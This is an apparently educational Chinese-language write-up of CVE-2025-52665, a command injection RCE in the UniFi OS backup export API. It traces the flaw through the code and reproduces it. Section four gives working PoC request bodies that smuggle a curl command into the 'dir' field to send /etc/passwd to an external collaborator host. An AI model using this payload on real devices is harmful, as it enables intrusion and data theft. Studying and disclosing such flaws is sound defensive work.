【$25,000】CVE-2025-52665 RCE 挖掘
字数 3182 2025-11-05 23:45:18
CVE-2025-52665 RCE漏洞深度分析与复现教学
文档版本: 1.0
发布日期: 2025-11-05
目标读者: 安全研究人员、渗透测试人员、安全开发工程师
一、 漏洞概述
- 漏洞编号: CVE-2025-52665
- 漏洞类型: 远程代码执行
- 风险等级: 高危/严重
- 受影响组件: UniFi OS(特别是 UDM SE 等设备)的备份服务模块。
- 漏洞位置:
/api/ucore/backup/exportAPI 接口。 - 核心成因: 用户可控的输入参数(
dir)在未经充分验证和转义的情况下,被拼接到系统 shell 命令中执行,导致命令注入。 - 奖金: $25,000(反映了漏洞的严重性)。
二、 环境侦察与攻击面发现
教学要点: 漏洞挖掘始于对目标资产的全面信息收集。
-
目标识别:
- 通过常规网络扫描(如使用
nmap)发现目标 IP192.168.1.1为活动主机。 - 浏览器访问该 IP,根据登录页面特征(UniFi OS 界面)确认设备型号为 UniFi Dream Machine SE。
- 通过常规网络扫描(如使用
-
攻击面枚举:
- 社区情报搜集: 研究人员没有盲目测试,而是先查阅了用户社区和论坛。这是关键一步,能快速定位可能存在问题的功能点。
- 关键线索: 发现大量用户报告在与备份相关的操作中遇到
500 Internal Server Error、ECONNREFUSED等错误,涉及多个组件(如 Network, Protect, UAM)。 - 关键端点: 这些错误报告均指向一个共同的 API 端点:
/api/ucore/backup/export。 - 逻辑推理: 备份功能通常是模块化的,需要核心服务(ucore)与各个子服务(如网络服务、保护服务)通过环回地址(127.0.0.1)进行通信。这暗示了内部存在一个复杂的 API 调用链。
三、 代码审计与漏洞原理分析
教学要点: 理解漏洞的根本原因需要深入分析代码逻辑。
-
源码获取与分析:
- 获取目标设备的 UniFi Core 软件包,并解压分析其中的 JavaScript 文件(如
service.js)。
- 获取目标设备的 UniFi Core 软件包,并解压分析其中的 JavaScript 文件(如
-
关键函数追踪:
- 在代码中搜索
backup/export相关的引用,定位到两个核心函数:YO和zf。
- 在代码中搜索
-
函数
YO(低级请求函数):var YO = async (e, t) => { let r = `http://127.0.0.1:${e}/api/ucore/backup/export`; let o = await k(r, { method: "POST", body: JSON.stringify({ dir: t }), // 【关键点】参数 `t` 被直接序列化到请求体中,无验证。 headers: { "Content-Type": "application/json" } }); // ... 错误处理 ... };- 功能: 构造一个指向内部服务(端口为
e)的 HTTP POST 请求。 - 参数:
e:目标子服务(如网络服务)的监听端口。t:备份文件输出的目录路径。
- 漏洞迹象: 参数
t被直接拼接到 JSON 请求体中,在此处未见任何过滤或转义。
- 功能: 构造一个指向内部服务(端口为
-
函数
zf(高级控制函数):zf = async ({ port: e, outputDir: t, name: r }) => { try { // ... 前置检查(如版本验证)... // 决定是远程备份还是本地备份 if (...) { // ... 远程备份逻辑 ... } else { await Fe(() => YO(e, t), ...); // 【关键调用】调用 YO 函数,传入 outputDir (t) } // ... 后置操作(检查目录、修改权限 `chmod -R 775 t`、计算大小 `du -s`)... } catch (o) { // ... 错误处理 ... } }- 功能: 备份流程的控制器,负责准备环境、调用
YO函数执行备份、并进行后续处理。 - 关键调用: 它将
outputDir(即参数t)直接传递给YO函数。 - 漏洞链条形成:
zf函数接收到的outputDir参数最终会流向内部 API 的dir字段。
- 功能: 备份流程的控制器,负责准备环境、调用
-
漏洞原理总结:
- 根本原因: 外部传入的
dir参数值,经过zf和YO函数的传递,最终被发送到内部服务http://127.0.0.1:<port>/api/ucore/backup/export。 - 命令注入点: 内部服务的备份处理程序在创建临时目录、打包文件等操作时,会使用 shell 命令(如
mktemp,chmod,tar)来处理dir参数的值。 - 漏洞触发: 由于
dir参数在拼接进 shell 命令前没有进行有效的验证或转义,如果参数中包含 shell 元字符(如;,|,`),就会被 shell 解释为命令分隔符或新命令,从而导致任意命令执行。
- 根本原因: 外部传入的
四、 漏洞利用与复现
教学要点: 利用过程需要精确的 payload 构造和调试。
-
服务发现:
- 使用端口扫描工具(如
nmap)枚举目标设备192.168.1.1上所有开放的端口。 - 对每个开放的端口,发送 HTTP 请求探测
/api/ucore/backup/export路径。 - 关键发现: 端口
9780返回了405 Method Not Allowed(而不是404 Not Found)。这表明该端口上的服务识别这个路径,只是当前的 HTTP 方法不正确(例如,用了 GET 而不是 POST)。这证明该端点可从网络访问。
- 使用端口扫描工具(如
-
构造初始 PoC:
- 请求方法:
POST - URL:
http://192.168.1.1:9780/api/ucore/backup/export - HTTP 头:
Content-Type: application/json - 请求体(初始):
{ "dir": "/tmp/catchify-lab; curl -s --data-binary @/etc/passwd http://your-burp-collaborator-or-webhook.site/" } - 利用逻辑: 使用分号
;终止原本的目录参数,并注入一个新的curl命令,试图将/etc/passwd文件内容发送到外部服务器。 - 问题: 此 PoC 可能失败,因为注入命令后的原始 shell 命令语法(如
tar -cf ... /tmp/catchify-lab; curl ...)可能因路径错误或语法问题而中断执行。
- 请求方法:
-
优化 PoC(关键步骤):
- 为了使命令注入干净利落,需要确保注入的命令执行后,后续的 shell 代码不会引发错误。
- 优化后的请求体:
{ "dir": "/tmp/catchify-; curl -s --data-binary @/etc/passwd http://your-burp-collaborator-or-webhook.site/; #" } - 优化点解释:
;:正常结束前一条命令(如果存在)。curl ...:要执行的恶意命令。;:结束curl命令。#:将行内剩余的所有字符注释掉。这是最关键的一步,它确保了原始备份命令中跟在dir值后面的部分(例如备份文件名等)被 shell 忽略,从而避免了语法错误。
-
验证利用结果:
- 发送优化后的 PoC 请求。
- 检查你的外部服务器(如 Burp Collaborator、Webhook.site)的日志,如果成功,你会收到一个 HTTP POST 请求,其正文内容即为目标设备的
/etc/passwd文件。这证实了 RCE 漏洞的存在。
五、 漏洞时间线与修复
- 报告日期: 2025-10-09
- 修复版本: UniFi Access 4.0.21
- 修复建议: 对用户输入的
dir参数进行严格的白名单验证(如只允许字母、数字、下划线和特定路径分隔符),或使用安全的编程接口(如child_process.execFile而非exec)来避免命令注入。
六、 总结与安全启示
- 漏洞链: 外部输入 -> 内部 API 转发 -> 未过滤参数 -> Shell 命令拼接 -> RCE。
- 核心教训:
- 永远不要信任用户输入: 任何来自外部的参数都必须经过验证和净化。
- 避免使用 Shell 命令处理用户输入: 在可能的情况下,使用语言本身的内置函数来完成文件、目录操作。如果必须调用 Shell,必须对输入进行正确的转义。
- 纵深防御: 即使内部 API(127.0.0.1)也不应完全信任来自同一机器上其他组件的输入。
- 关注错误信息: 公开的错误信息(如 500 错误)可能为攻击者提供有价值的线索。
- 研究技巧:
- 善用公开社区情报缩小攻击面。
- 代码审计是理解漏洞根源的最有效手段。
- PoC 构造需要耐心和细致的调试,利用注释符
#是解决命令注入中“命令尾部垃圾”问题的经典技巧。
这份教学文档详细还原了从信息收集到漏洞利用的完整链条。希望它能帮助您深入理解此类命令注入漏洞的挖掘与利用方法,并应用于实际的安全研究或防御工作中。